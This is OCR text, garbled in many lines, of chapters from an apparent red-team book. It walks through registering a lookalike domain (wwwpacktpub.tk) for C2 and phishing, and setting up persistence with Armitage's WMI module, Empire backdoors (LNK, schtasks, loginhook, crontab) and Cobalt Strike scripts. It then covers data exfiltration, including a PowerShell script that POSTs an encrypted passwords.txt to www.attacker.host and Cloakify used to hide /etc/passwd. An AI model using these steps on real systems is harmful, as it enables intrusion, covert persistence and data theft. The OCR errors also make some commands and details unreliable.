By default, this will fetch for the expired and deleted domains that have a blank name
because we didn't provide one:
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Downloading malware domain list from http://mirrorl.malwaredomains.com/Tiles/ justdomains

Fetching expired or deleted domains...

https:/Awww. expireddomains.net/backorder-expired-domains 7s tart=08ftl ds[]=2&ftl ds[]=2&ftl ds[ ]J=4&falexa=0
https:/Awww. expilreddomains..net/del eted-com-domains/7start=0&ftl ds[J=28Ft1 ds[]=3&Ftl ds[]=4&Ffal exa=0
https:/ Awiw.explreddomains.net/backorder-expired-domains7start=25&ftl ds[J=2&ftl ds[]=3&Ttl dz [ ]=4&Tal exa=0
https:/Awaw . explreddomains.net/del eted-com-domains/ start=258Ftl ds []=28F 1 ds[J=2&Ft1l ds[]=4&fal exa=0

128 of 108 domains discowvered with a potentially desireable categorization!

Search complete
Log written to 20180923 _Z127@3_domainreport.html

+
+
+

_____________ +
Cisco Talos |

—+ —+ —+ —+ —+ —
—+ —+ —+ —+ —+ —+
—+ —+ —+ —+ —+ —+

wurendiangl . com

Let's check for the ne1p Option to see how we can use domainhunter:

xAxZombil3xXx s domainhunter Harry$ python domainhunter.py -h

usage: domainhunter.py [-h] [-a] [-k KEYWORD] [-c] [-f FILEMAME] [--ocr]
[-r MAXRESULTS] [-s SINGLE] [-t {®,1,2,3,4,5}]
[-w MAXWIDTH] [-VY]

Finds expired domains, domain categorization, and Archiwve.org history to determine good candidates for CZ2 and phishing domains

optional arguments:

-h, --help show this help messaoge and exit

-a, --alexa Filter results to Alexa listings

-k KEYWORD, --keyword KEYWORD
Keyword used to refine search results

-c, --check Perform domain reputotion checks

-f FILEWAME, --filename FILEMNAME
Specify input file of line delimited domain nomes to
check

--ocr Perform OCR on CAPTCHAs when challenged

-r MAXRESULTS, --maxresul ts MAXRESULTS
Mumber of results to return when querying latest
expired/deleted domains

-5 SINGLE, --single SINGLE
Performs detailed reputation checks adgainst a single
domain name/IF.

-t {0,1,2,3,4,5}, --timing {0,1,2,3,4,5}
Modifies request timing to awvoid CAPTCHAs. Slowest(B)
= 9-1-0 seconds, Defoul £(3) = 180-70 seconds,
Fostest(5) = no delay

—w MAXWIDTH, --maxwidth MAXWIDTH
Width of text tahle

-V, --wersion show program’™s wersion number and exit

Examples:

Sdomainhunter.py -k apples -c --ocr -t5

Sdomainhunter.py --check --ocr -t3

JSdomainhunter.py --single mydomain.com

JSdomainhunter.py --keyword tech --check --ocr --timing S --alexa
JSdomathunter.py --filename inputlist.txt --ocr --timing S
xfxZombi3xXx:domainhunter Harry$

Let's search for a keyword to look for the domains related to the specified keyword. In
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this case, we will use pacxtpub as the desired keyword:

omainhunter Harry$ python domainhunter.py -k packtpub

We just found out that wwpackepuo.com 1 available. Let's confirm its availability at domain
searching websites as follows:
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- C @ https://www.name.com/domain/search/wwwpacktpub.com I G”’ z2 L?-a P i [2]

com QEN-TINR ~ B _MeTHOIROON Logine SignUp &

¢) Domains ~ (39 Hosting&SSL - ] Websites -  [<] Email @ Support - (4 Account

wwwpacktpub.com

Your domain is available! SALE!

wwwpacktpub com w3840 649.44

S
dive ¢ 2 . .club app . store
7360.48 ; 444, (721 68 2938 40 h 22736 7216.00 1216.00

This confirms that the domain 1s available on name.com and even on dot . cx for almost
$8.50:

< C  © Not Secure | www.dot.tk/en/index.htmi?lang=en I E‘@ GG v b e :
English ~

Login to My Freenom

- wwwpacktpub.com

Yes wwwpacktpub.com is available! 1domainin cart
38
usD 8-

com

Let's see if we can find a free domain with a different TLD:

wwwpacktpub
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&« C (@ NotSecure | www.dot.tk/en/index.htmi?lang=en b3 .E'-. [ [1:-] G‘m P & e :

Get one of these domains. They are free!

wwwpa(:ktpub 00
E usD 0 Select

acktpub 00
WwWwp m usD 0 Select

WWW] ac:ktpub 00
P E usD 0 Select

wwwpacktpuh 00
: f m 0 -

WWWI[ ac:ktpub 00
E usD 0 Select

We have found that the preceding-mentioned domains are free to register. Let's select
wwwpacktpub.tk dS follows:

Get one of these domains. They are free!

wwwpacktpub

tk - FREE [iiland

wwwpacktpub

ml [« FREE [l 0 % Select

wwwpacktpub

g a ¢ FREE usD 0?0 Select

wwwpacktpub

cf m usD 0?0 Select

wwwpacktpub

gq m usD 090 Select

We can again check the availability of www.packtpub.tx and obtain this domain for free:
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& = © @ hitps//my.freenom.com/cart.php?a=confdomains&language=english % E'. & 'ﬂ [i=-] ‘?n ? R O

fm‘om Services v Partners v About Freenom v Support v English ~

A Name for Everyone

Check
Find a new FREE domain Ava“:bmty

Domain © Use your new domain Period

* Forward this domain or  iE UseDNS 3 Months @ FREE -

wwwpacktpub.tk @

In the preceding setting, we need to set our redirector's IP address in the Use DNS field:

Domain @ Use your new domain Period
wwwpacktpub.tk @ ™ Forward this domain | or w 3 Months @ FREE -
Use Freenom DNS Service Use your own DNS

Enter your A record here

Hostname wwwpacktpub.tic IPaddress | 35.153.183.204

Hostname www.wwwpackipub.tk IP address 35.153.183.204|

Let's review the purchase and then check out:
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fmom Services v Partners v About Freenom v Suppert v English +
A Name for Everyone

Review & Checkout

Description Price
Domain Registration - wwwpacktpub.tk @ $0.00USD
Subtotal: $0.00USD
Total Due Today: $0.00USD

Verification link Senit to Your Email The Link Is Valid For Only 24 Hours Go to Your Email Index and Click On The Link

Enter Different Email

Our order has now been confirmed. We just obtained wwwpacktpub. tx:

fmom Services v Partners v About Freenom v  Support v Hello Zircanavo v English v

A Name for Everyone

Order Confirmation

Thank you for your order. You will receive a confirmation email shortly.

Your Order Number is: 7909555460

If you have any questions about your order, please open a support ticket from your
client area and quote your arder number.

Click here to go to your Client Area

Let's execute the aig command to confirm our ownership of this:
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:-% dig wwwpacktpub. tk

s o<onx G 9,100 3-P4-lUbuntu <<=> wwwpacktpub. tk

:3 global options: +cmd

»: Lot answer:

i3 —»>HEADER<<- opcode: QUERY, status: MNOERROE, 1d: 32255

:: flags: gr rd ra; QUERY: 1, AMNSWER: 1, AUTHORITY: @, ADDITIOMWAL: 1

= OPT PSEUDOSECTION:

: EOMS: wersion: @, flags::; udp: 4809
5 QUESTION SECTION:

swrpacktpub .tk

3 ANSWER SECTION:
wrwpack tpub .tk 20 TN 35153, 82 204

:3 Ouery time: @ msec

v SERYER: 172.31.0.205301 ¢2,31.0.2)
s WHEN: Sun Sep 23 1o:Z1:4% UTC 2018
=: MSG SIZE rewd: 59

The aig command resolves wwwpacktpus. tx to our redirector's IP. Now that we have

obtained this, we can set the domain in the stager creation and get the back connection

from wwwpacktpub. tk.

35.153.183.204

192.168.2.5
PT-PC\PT @ PT-PC
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Domain fronting can also be done using Cloudflare and other cloud network platforms.
In the next chapter, we focus on different techniques in exfiltrating data from a target
server.
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Summary

In this chapter, we have introduced redirectors and why obfuscating C2s is required. We
have also covered how we can obfuscate C2s in a secure manner so that we can protect
our C2s from getting detected by the Blue team. In addition, we have learned about
short-term and long-term C2s and redirectors. Next, the payload redirection type was
covered. Here, we learned about dumb pipe redirection and smart redirection. At the
end of the chapter, we saw how we obtained a domain which resembles ncep://packepun.c
on and how this can be used to achieve further anonymity.
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Questions

Can we use Microsoft Windows based redirector instead of Linux based?

. Why should we configure and install our own redirector when we can use a
compromised server for the same job?

Is it mandatory to use Apache Web server for smart redirection?

4. Is it legal if we buy a domain similar to organization's domain for the engagement
?

5. Can we setup the redirectors on AWS?

N —

[8)
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Further reading

For more information on the topics discussed in this chapter, please visit the following

links:

https:
https:
https:
https:
https:
https:
https:
https:

https:

//thevivi.net/2017/11/03/securing-your-empire-c2-with-apache-mod rewrite/
//resources.infosecinstitute.com/domain-fronting/
//bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/
//www.xorrior.com/Empire-Domain-Fronting/
//www.optiv.com/blog/escape-and-evasion-egressing-restricted-networks
//www.mdsec.co.uk/2017/02/tor-fronting-utilising-hidden-services-for-privacy/
//www.securityartwork.es/2017/01/31/simple-domain-fronting-poc-with-gae-c2-server/
//www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/

//theobsidiantower.com/2017/07/24/d0a7cfceedcd2bdf3a36£2926bd52863ef28befc.html
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Achieving Persistence

In the previous chapters, we have looked at examples of different ways to gain a reverse
shell on the system, as well as tools such as Empire, which help us with things like
privilege escalation. The next step is achieving and maintaining persistent access to
systems. When performing a red-team exercise, there is occasionally a Blue team whose
goal is to detect and prevent the attacks from being carried out by the red team. In these
cases, persistence comes into play.

Persistence can be achieved in two major ways:

e Disk persistence: This technique uses methods that end up writing files to the
victim's physical drive. This is less recommended because when a file is written to
the disk, there is a higher chance that an antivirus may flag it or the user may find it.

¢ In-memory or fileless persistence: This technique utilizes ways of executing
payloads in the system without actually writing anything on the disk. Most malware
uses this technique to avoid detection.

In this chapter, we will cover the following topics:

e Persistence via Armitage
e Persistence via Empire
e Persistence using Cobalt Strike
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Technical requirements

Metasploit Framework (MSF)
PGSQL (Postgres)

Oracle Java 1.7 or above
Cobalt Strike

Empire

Armitage

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir

Persistence via Armitage

We have already covered this in previous chapters, but in this section we will look at
some of the Windows exploitation scripts that allow us to achieve persistence on the
victim host. We can look for all available exploits by searching for the keyword
persistence in Armitage, as shown in the following screenshot. We can see that there
are different exploits available that allow us to achieve persistence. Some of these are
as follows:

® cron persistence: This module will work on a *nix-based system and create a cron
job that executes our payload.

® registery persistence: 1his module creates a payload that is run either when a user
logs on or on system startup, through the registry value in currentversion\run
(depending on privilege). This payload is completely installed in the registry.

® vss persistence: [his module creates a persistent payload in a new volume shadow
copy.

® uni persistence: This module will create a WMI event subscription. It is a file -less
persistence.
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¥ (& exploit A
v [EL linux h i
¥ (& local '
E| cron_persistence
E| service_persistence
¥ [EL 05X
¥ (& local
E| persistence
¥ [E Lnix
¥ (& local
E| at_persistence '
v [EL windows
¥ (& local
E| persistence
E| registry_persistence |7
E| s4U_persistence

vss_persistence

E| wmi_persistence

¥ [& post L
v [ linux |
persistence

Let's try using wmi persistence. This uses one of the following five methods for
persistence:

EVENT method: This creates an event filter that will query the event log for an
svent 1o triceer (the default failed logon request ID is usually s625) to trigger the
payload

INTERVAL method: This will create an event filter that executes the payload
after CALLBACK INTERVAL, which is speciﬁed

LOGON method: In this method, the payload is executed after a successful uptime
of four minutes

Process method: This will create an event filter that triggers the payload when the
specified process is started

WAITFOR method: This creates an event filter that utilizes the Microsoft binary
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waitfor.exe 10 Wait for a signal specified by warrror tr1ccER before executing the
payload

When we double-click on the wni_persistence Option, it will open a new window, as
shown in the following screenshot:

o0 ® windows/localfwmi_persistence

WMI Event Subscription Persistence

This module will create a permanent WMI event subscription to achieve file-less A
persistence using one of five methods. The EVENT method will create an event filter
that will query the event log for an EVENT_ID_TRIGGER (default: failed logon request 2

il AETCY that alea ramtaine 2 cancifind IICEEDKMARIE TOW TED fmatn: Failad laman

. ——t

Option 4 Value |
CALLEACK _INTERVAL 1800000 '
CLASSNAME UPDATER ™
DisablePayloadHandler true

' EVENT_ID_TRIGGER 4625
ExitOnSession false

| LHOST 207.154.199.85 v

Targets: |0 => Windows v

|| Show advanced options

| Launch |

Here, we change the persistence method to erocess. This will use the process trigger
method since the process trigger We are using is carc.exe. Whenever a calculator is opened
on the system, we will get a reverse connection on our Armitage server as follows:
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| NN windows/local/wmi_persistence
WMI Event Subscription Persistence
This module will create a permanent WMI event subscription to achieve file-less persistence 4

using one of five methods. The EVENT method will create an event filter that will query the [
event log for an EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a

rracifind IICSEDKARE TDOW T ED feanta: Failad laman snditina meaact e amabhilad am tha faeont fare hd
Option 4| Value |
DisablePayloadHandler true A
EVENT_ID_TRIGGER 4625
ExitOnSession false L
LHOST 207.154.199.85
LPORT BO8O
FAYLOAD windows /meterpreter/reverse_tcp
PERSISTENCE_METHOD PROCESS

 PROCESS_TRIGGER  WIIEE
SESSION + 2

_USERNAME TRIGGER BOB b

Targets: |0 => Windows i"]

_| Show advanced options

| Launch |

By clicking on launch, we will see that the exploit has been executed successfully:

|
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st exploit| | > set USERNANE_TRIGGER BOB
USERNANE_TRIGGER => B0B

st explot| | > set EVENT ID TRIGGER 425
EVENT_ID TRIGGER => 465

st exploit| | > st HALTFOR_TRIGGER (AL
WALTFOR_TRIGGER => CALL

st exploit| ) > st CALLBACK_INTERVAL 1800000
CALLBACK_INTERVAL => 1800000

nst explott( ) > set DisablePayloadhandler trug
DisablePayloadhandler = true

nst explott( | > exploat -]

[¥] Explolt rumning as background job 5.

[¢] Tnstalling Persistence. ..

[+] = Bytes renaining: 12208

[#] = Bytes renatning: 4208

[+] Payload successfully staged.

[#] Pers1stence Lnstalled!

[¢] Clean up Neterreter RC file: /root/.nsf4/Logs/wma_persistence/192,168.0,96 20180921, 1617/192,168.0.% 20180921 1617 rc

When the victim runs the Calculator, a new meterpreter shell will pop up as follows:

Address 7 Label Description
i~ 192.168.0.96 dfx-PC\dfx @ DFX-PC
= TN Meterpreter 2 >
% I Meterpreter 3 3
M 0.0.0.0 Services
Scan
Host [ 2
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Persistence via Empire

Empire has a lot of inbuilt modules that allow us to use persistence on a system while
performing a red team activity. These modules are divided into four main areas:

® rowersreach: 1hiS 1S a series of in-memory PowerShell backdoors that provide
triggers for various options

e useriand: These are backdoors that execute on reboot without needing admin rights

e cicvated: These are backdoors that execute on reboot with admin rights

® deougger triggers: Lhese are backdoors that execute on a particular trigger (an
example of this 1s sticky keys)

In this section, we will cover some of the modules for Linux, Windows, and macOS
systems.

For Windows:
Assuming we have an agent connected on our empire from a Windows Machine:
(Empire: stager/multi/launcher) > [*] Sending POWERSHELL stager (stage 1) t0 wev.vesvninen

[*] New agent KETDWPL checked in

[+] Initial agent KETD4WPL fron now active (Slack)

[¥] Sending agent (stage 2) to KETDAWPL at sus.ec.zeisvn

agents

[%] Active agents:

Name La Internal IP Machine Name Username Process

KETDAWPL ps 192.168.0.9%6  DFX-PC #dfx-PC\dfx powershell 3220 5/0.0

To view a list of available persistence modules, we interact with agents using the
interact <agent name> command.
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Next, to view the available persistence module, we type usemodule persistence and press
Tab. This will show a list of all available modules, as shown in the following
screenshot:

[(Empire: ] > usemodule persistence/

elevated/registryx nisc/debuggers powerbreach/deaduser
elevated/schtasksk nisc/disable_machine_acct_changex powerbreach/eventlogs
elevated/wnix misc/get_ssps powerbreach/resolver
elevated/wnl_updaters misc/install_sspx userland/backdoor_Lnk
misc/add_netuser nisc/memsspx userland/registry
misc/add_sid_historyx misc/skeleton_keyx userland/schtasks

Let's try to use the vackdoor 1nx module by typing inso. This will show us a description of
what the module does and the options we need to set in it:

[(Empire: powershe

Name: Invoke-BackdoorLNK
Module: powershell/persistence/userland/backdoor_Llnk

NeedsAdmin: False
OpsecSafe: False

Language: powershell

MinLanguageVersion: 2

Background: True
OutputExtension: None

Authors:
@harmj @y

Description:
Backdoor a specified .LNK file with a version that launches
the original binary and then an Empire stager.
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In the following screenshot, we can see that we need to set the listener name and the
path file of any shortcut icon on the victim's system:

Options:

Name Required  Value Description

Listener True Listener to use.

ProxyCreds False Proxy credentials
([domain\]username:password) to use for
request (default, none, or other).

Cleanup False Switch. Restore the original .LNK
settings.

RegPath  True HKCU:\Software\Microsoft Registry location to store the script

\Windows\debug code. Last element is the key name.

Proxy False default Proxy to use for request (default, none,
or other).

ExtFile  False Use an external file for the payload
instead of a stager.

UserAgent False default User-agent string to use for the staging
request (default, none, or other).

Agent True KETD4WPL Agent to run module on.

LNKPath  True Full path to the .LNK to backdoor.

We set the path as shown in the following screenshot. In our case, the user had a shortcut
icon of Google Chrome on his desktop:

UserAgent False default User-agent string to use for the staging
request (default, none, or other).

Agent  True KETDAWPL Agent to run module on.
|(Empire: powershell/persistence/userland/backdoor_Lnk) > set LNKPath C:\Users\dfx\Desktop\Google Chrome, lnk

Upon running the execute command, we will see that the module has completed
successfully:
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(Empire:
Job started: H2Y7AB

Let's try to understand what the module actually did. On the victim's computer, if we see
the shortcut icon's properties, we can see that it has changed the target value with a
PowerShell payload. Now, whenever the victim opens Chrome from this shortcut, our
payload will be executed alongside it:


https://technet24.ir
https://technet24.ir

ﬂ‘ Google Chrome Properties @

Compatibility I Security Details Previous Versions
General Shortcut Options Font Layout Colars

g Google Chrome

Target type: Application

Target location: v1.0

Target: C:\Windows"System32\WindowsPowerShEl'w 1 4

Start in: C:\Users\dfx'\.ﬂnpp Data“Local"Google \Chrome A

Shortcut ley: .I"v.lnne

Run: | Minimized -4 |

Comment: Access the Intemet
Open File Location | | Change lcon... | | Advanced... |
DK Cancel Apply

Once the user runs Chrome, we will see a new agent connected to our Empire:
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\Empire: powershell/|

Let's take a look at another e1evated/scnasks module. This requires system-level
privileges and creates a scheduled task to run our payload periodically, as described
with the info command as shown in the following command:
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[(Empire: powe

Name: Invoke=5Schtasks
Module: powershell/persistence/elevated/schtasks

NeedsAdmin: True

OpsecSafe: False

Language: powershell

MinLanguageVersion: 2
Background: False
OutputExtension: None

Authors:
@mattifestation

@harmj Ay

Description:

Persist a stager (or script) using schtasks running as
SYSTEM. This has a moderate detection/removal rating.

Comments:
nttps://github.com/mattifestation/PowerSploit/blob/master/Pe
rsistence/Persistence.psml

We set the listener name and the time when we want to run the task, and run execute. Our
payload will then be executed at that time daily:
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(Empire: p persister ted/schtasks) > execute

(Empire: powershell/persi pvate ks) >

SUCCESS: The scheduled task "Updater” has successfully been created.

Schtasks persistence established using listener http stored in HKLM:\Software\Microsoft\Network\debug
with Updater daily trigger at €9:00,

For macOS:

Just as we did for Windows, we have persistence modules for macOS as well. As
shown in the following screenshot, we already have a macOS agent connected:

ONZRZ7YG py 192.168.8.58 MacBook-Air.Dlink Himanshu

(Empire: agents) > interact QNZRZ7YG
We run the usemodule persistence command and press Tab to see all available modules:

(Empire: } > usemodule persistence/
multi/crontab osx/RemoveDaemon=* osx/mall

multi/desktopfile o5/ launchdaemonexecutab lex
osx/CreateHijacker= osx/loginhook

Let's use the osx/10ginnoox command as follows:
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[(Empire:

Mame: LoginHook
Module: python/persistence/osx/loginhook

NeedsAdmin: False

OpsecSafe: False

Language: python
MinLanguageVersion: 2.6

Background: False
QutputExtension: None

Authors:
@Killswitch-GUI

Description:
Installs Empire agent via LoginHook.

A login hook tells macOS X to execute a certain script when a user logs in. Unlike
startup items that open when a user logs in, a login hook is a script that executes as root.
However, for this module, we need to create a script in the victim's machine and specify
its path in this module.

The script also requires the suso password; we have discussed ways of getting this in
previous chapters. Once we have it, we enter the data in the script and execute it as
follows:
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Options:

Name Required  Value Description

Password True User password for sudo.

LoginHookScript True [Users/Harry/Desktop/hel Full path of the script to be executed/
L0.5h

Agent True 930NA353 Agent to execute module on,

Every time a user logs in to the system, we will get a new agent connection notification
on our Empire interface, as shown in the following command:

(Empire:

For Linux:

Linux has the crontao module, which can be used. This creates a cron job that executes
our payload at a defined time on the system:

[(Empire: > usemodule persistence/multi/crontab
(Empire:

As shown in the following screenshot, we set the sour1y Option as true. This will execute
our payload every hour:

[(Empire: python/persistence/multi/« tab) : Hourly True

Then, we set the riienane where our payload will be stored and run the execute command,
which will set our persistence script as follows:
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[(Empire: } » set FileName a

[(Empire: )} > execute

We will then start having agents connect to us from that machine every hour.
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Persistence via Cobalt Strike

In Cobalt Strike, we can achieve persistence with the help of Aggressor Scripts. We
have already learned about Aggressor Scripts in previous chapters.

Some of the Aggressor Scripts are already available on GitHub; we will use the
following one:

https://github.com/harleyQulnn/AggressorScripts/tree/master/Persistence
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2 README

2 RegryPrsist g

3 SeniceE P cng

2 StartUpFolderPerston

= StartunGPORersistcra

3 UserSetasPerss cna

3 WMICE R Persit on

=) WEvertPersist cna
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Upaated with PowerPick
Upaated with PowerPick
Upaated with PowerPick
Update README M

Upaated with PowerPick
Upaated with PowerPick
Upaated with PowerPick
Upaated with PowerPick
Upaated with PowerPick
Upaated with PowerPick
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Createnewfle  Findfie  Hisory

Latestcommit éd3fad on 19 My
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Here, we download the scripts on our system and import them into our Cobalt Strike
client through the script manager, as shown in the following screenshot:

® @ Load a script
Look In: ||:| Persistence - | FRnEE
' I} Bitsadmin.cna [} WMIEventPersist.cna -

[ HKCURunKeyPSRegistryPersist.cna
' @ HKLMRunKeyPSRegistryPersist.cna
|
[} README.md
[ RegistryPersist.cna
[ ServiceEXEPersist.cna
[ StartUpFolderPersist.cna
[ StartupGPOPersist.cna
[} UserSchtasksPersist.cna
[} WMICEventPersist.cna

File Name: [F'ers.istence_h’lenu.cna ]

Files of Type: |All Files -

|Dpen ||Canc:el|

In the preceding screenshot, we loaded rersistence Menu. This script creates a new entry in
the Beacon menu with all the scripts we downloaded. These scripts can be accessed by
right-clicking on the host | Red Team | Persistence, as shown in the following
screenshot:
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dfx DFX-PC

Interact

Red Tea Schtasks Persistence

Access  ? Service EXE Persistence

Explore ¢ Registry Persistence

Bivoting * HKCU Run Key Registry PowerShell Persistence
Spawn HKLM Run Key Registry PowerShell Persistence
session ¢ WMI Event Persistence using PowerShell

WMI Event Persistence using WMIC
Startup Script Local GPO Persistence
Stickykeys(0SK) BackDoor Persistence (Need RDP Open)
Windows Startup Persistence L

Let's look at the following example. Here, we will use HKCU Run Registry PowerShell
Persistence (User Level).

This script creates a registry keyname for the payload and another keyname to execute
the payload. Clicking on this option will cause a new window to open where we can
specify the name of both values, as shown in the following screenshot:

@® ' @ HKCU Run Key Registry PowerShell Persistence (User Level)

Il LT r\c}' F\'E‘Hlﬂu r MUINTS 2 RSl TS IOV RS~ WO el GV O ln.l'H'U'I"EI =1 S

Base64 Encoded payload as a HKCU Run Key Registry Entry for persistence on
selected beacon. -

il

Registry Key Mame for Payload: [Test ]

Registry Key Name to execute Payload: [persist l

Create-

Upon clicking Create, a new item will be created in the registry of the user which will
contain our base64-encoded PowerShell payload.

For more information about different scripts, visit the following URL: nttps://github.com/n

arleyQulnn/AggressorScripts/tree/master/Persistence.
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Summary

In this chapter, we learned about achieving persistence using Armitage's inbuilt exploit
modules, then we learned how to do the same via Empire on Windows, Linux, and
macOS machines. In the last section, we learned how to persist sessions in Cobalt

Strike with the help of Aggressor Scripts.
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Further reading

For more information on the topics discussed in this chapter, please visit the following
links:

https://github.com/harleyQulnn/AggressorScripts/tree/master/Persistence
https://www.offensive-security.com/metasploit-unleashed/meterpreter-service/
https://www.rapid7.com/db/modules/exploit/windows/local/wmi persistence

https://www.harmjOy.net/blog/empire/nothing-lasts-forever-persistence-with-empire/

https://docs.microsoft.com/en-us/windows/desktop/vss/volume-shadow-copy-service-overview
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Data Exfiltration

Data exfiltration (which can also be referred to as data extrusion or data theft) is an
unauthorized data transfer from a computer. This can either be done by having physical
access to the devices in the network or by remotely using automated scripts.

Advanced Persistent Threats (APTs) usually have data exfiltration as the main goal.
The goal of an APT is to gain access to a network but remain undetected as it stealthily
seeks out the most valuable data.

There may be cases in which the client wants to check both exploitation as well as data
exfiltration. This makes the activity even more interesting as exfiltration of data without
detection can sometimes be tricky.

In this chapter, we will cover the following topics:

Exfiltration basics
CloakifyFactory

Data exfiltration via DNS
Data exfiltration via Empire

Technet24


https://technet24.ir
https://technet24.ir
https://technet24.ir

Technical requirements

Metasploit Framework (MSF)
PGSQL (Postgres)

Oracle Java 1.7 or latest
Cobalt Strike

Empire

Armitage
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Exfiltration basics

We have already covered some basic techniques in the reverse shell chapter. Let's do a
quick revision of how these techniques can be used to transfer data from a victim
machine to us.
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Exfiltration via Netcat

As previously discussed, this is not the best way to transmit data as the data
is transmitted in plaintext, which makes it easily detectable.
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Exfiltration via OpenSSL

We also saw another way to transfer data via OpenSSL using commands, as shown by
the following, to first generate the certificate and then use that certificate to transfer data
securely:

|openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

On a server, input the following;

|openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

On a client, input the following:

|openssl s_client -quiet -connect <IP>:<port>
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Transferring data over SSL is secure but it will not always work, as we may find
systems 1n the network where OpenSSL is not installed.
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Exfiltration with PowerShell

Another way to exfiltrate data on Windows systems is by using PowerShell. This can be
done with a few simple lines of which will encrypt the contents of a file in Advanced
Encryption Standard (AES) format using a predefined key and send it to our host using
HTTP rosr request. A simple example of this method can be found at the following link:

https://azeria-labs.com/data-exfiltration/.

Using the following code and saving it as a PowerShell script, or executing it directly in
the victim's command shell, we can successfully transfer data.

$file = Get-Content C:\Users\PT\Desktop\passwords.txt

S$key = (New-Object System.Text.ASCIIEncoding) .GetBytes ("54b8617ecale54c7d3c8e6732c6b687a")
$securestring = new-object System.Security.SecureString

foreach ($char in $file.toCharArray()) ({

$secureString.AppendChar ($char)

}

$encryptedData = ConvertFrom-SecureString -SecureString $secureString -Key S$key
Invoke-WebRequest -Uri http://www.attacker.host/exfil -Method POST -Body $encryptedData

The =rre request will look something like this:

POST /exfil HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT; Windows NT 6.3; en-GB) WindowsPowerShell/4.0
Content-Type: application/x-www-form-urlencoded

Host: www.attacker.host

Content-Length: 704

Expect: 100-continue

Connection: Keep-Alive

encrypteddatahere

To decrypt the code server side, we can use the following code:

S$key = (New-Object System.Text.ASCIIEncoding) .GetBytes ("54b8617ecale54c7d3c8e6732c6b687a")
$encrypted = "encrypteddatahere"
echo S$encrypted | ConvertTo-SecureString -key S$key | ForEach-Object {[Runtime.InteropServices.Maz

For further reading:

https://azeria-labs.com/data-exfiltration/
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CloakifyFactory

CloakifyFactory is developed by Joe Gervais (TryCatchHCF). This was presented at
DEF CON24. This tool hides the data in plain sight—it bypassed data loss prevention
(DLP), whitelisting controls, and antivirus (AV) detection. Blue team members already
know what to look for when hunting for traces of attack in the memory or in the network
traffic. Cloakify defeats them all by transforming any file type into simple strings using
text-based steganography.

As mentioned by Souvik Roya and P.Venkateswaran in their white paper:

"Steganography is the art of hiding of a message within another so that the presence of a hidden message is
indistinguishable. The key concept behind steganography is that a message to be transmitted is not detectable to the
casual eye. This is also the advantage of steganography over cryptography. An unhidden encrypted message, no
matter how unbreakable, raises suspicion.

There are many steganography methods which use images, video and audio as a cover media. Text steganography
uses text as a cover media for hiding a message. A message can be hidden by shifting a word and line in the open
spaces in word sequence. The advantage of using text steganography over other steganographic techniques is that it
has a smaller memory requirement and simpler communication."

CloakifyFactory is open source and can be downloaded from GitHub at the following
link:

https://github.com/TryCatchHCF/Cloakify

Let's familiarize ourselves with the usage of CloakifyFactory. Once the repository is
cloned, we can run the tool using;

|python cloakifyFactory.py
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~/tools/Cloakify# python cloakifyFactory.py
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"Hide & Exfiltrate Any Filetype in Plain Sight"
Written by TryCatchHCF
https://github.com/TryCatchHCF
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Cloakify Factory Main Menu ====
Cloakify a File
Decloakify a File
Browse Ciphers
Browse Noise Generators
Help / Basic Usage
) About Cloakify Factory
Exit

P [ = = A= |

I
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||
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List of emoji,

IP addresses,
desserts,

beers, anything you imagine

We will now see the tool running, showing us the options for its usage. To view the
Help for this tool we can type s and press Enter. This will display Help and the BASIC

USE of the tool as shown as follows:
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BASIC USE:

Cloakify Factory will guide you through each step. Follow the prompts and
it will show you the way.

Cloakify a Payload:
Select 'Cloakify a File' (any filetype will work - zip, binaries, etc.)
Enter filename that you want to Cloakify (can be filename or filepath])
Enter filename that you want to save the cloaked file as
Select the cipher you want to use
Select a Nolise Generator 1T desired
Preview cloaked file if you want to check the results
Transfer cloaked file via whatever method you prefer

Decloakify a Payload:
Receive cloaked file via whatever method you prefer
S5elect 'Decloakify a File’
Enter filename of cleoaked file (can be filename or filepath])
Enter filename to save decloaked file to
Preview cloaked file to review which Noise Generator and Cipher you used
If Noise Generator was used, select matching Generator to remove noise
S5elect the cipher used to cloak the file

Let's run the tool and cloak a file. In this example, we will cloak the /etc/passwa file of
our system. To do this, we type 1 in the main menu and press Enter. We then specify the
filename as c10ax and the output file name as shown as follows:

[Selection: 1

Cloakify a File

[Enter filename to cloak (e.g. ImADolphin.exe or /foo/bar.zip): fetc/passwd

Save cloaked data to filename (default: 'tempList.txt'):

Next, we choose the ciphers which will be used to hide the data. CloakifyFactory has
24 inbuilt ciphers available, including texts in different languages, IP addresses, and
even emojis.

Ciphers are nothing but a list of unique keywords saved in a file. We can create our own
list and add it as a cipher in the tool (the minimum number of keywords needed when
creating a new list is 61). This is extremely useful when doing a red team activity
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because, when we cloak the data and transfer it, the data may not be understood by the
analysts, but a list of emojis transferred across a corporate network through a system
may be flagged. In such cases, we can make a list of keywords using company-relevant
data such as internal IPs, system names, employee names, internal domain names, and so
on. This will decrease the risk of being flagged during unencrypted exfiltration.

In our case, for now, we choose beigianseers as a cipher:

Ciphers:

dessertsHindil
evadeAV
belgianBeers

desserts
dessertsChinese
amphibians
dessertsSwedishCheft
tusCodes

dessertsArabic
skiResorts
dessertsPersian
rickrollYoutube
worldFootballTeams
geoCoordsWorldCapitals
topWebsites
geocache
dessertsRussian
starTrek

hashesMD5
ipAddressesToplee
dessertsThal

emo] 1

pokemonGo
worldBeaches

Enter cipher #:
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Next, we are asked if want to add noise. This tool is not completely secure; unlike other
cryptography tools it is also vulnerable to frequency analysis attacks. We can use the aaa
Noise Option to add entropy when cloaking a payload to help degrade frequency analysis
attacks. Alternatively, for absolute secrecy, we can encrypt the file before cloaking.

Setting the options of ciphers is shown as follows:

[Enter cipher #: 3
[Add noise to cloaked file? (y/n): n

Creating cloaked file using cipher: belglianBeers

Cloaked file saved to: test.txt

Preview cloaked file? (y/n): l

When we preview the cloaked file, it will show a list of beers as shown as follows:
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[Preview cloaked file? (y/n):

Lesage Dubbel

Mageleno

Rodenbach

Buffalo Bitter

La Namuroise

Podge Oak Aged S5tout
Waterloo Tripel 7 Blond
Elliot Brew

Shark Pants

Waase Wolf
Sint-Gummarus Tripel
sur-les—Bols Blonde
Florilége de Rose

Podge Oak Aged S5tout
Waterloo Tripel 7 Blond
Serafijn Tripel

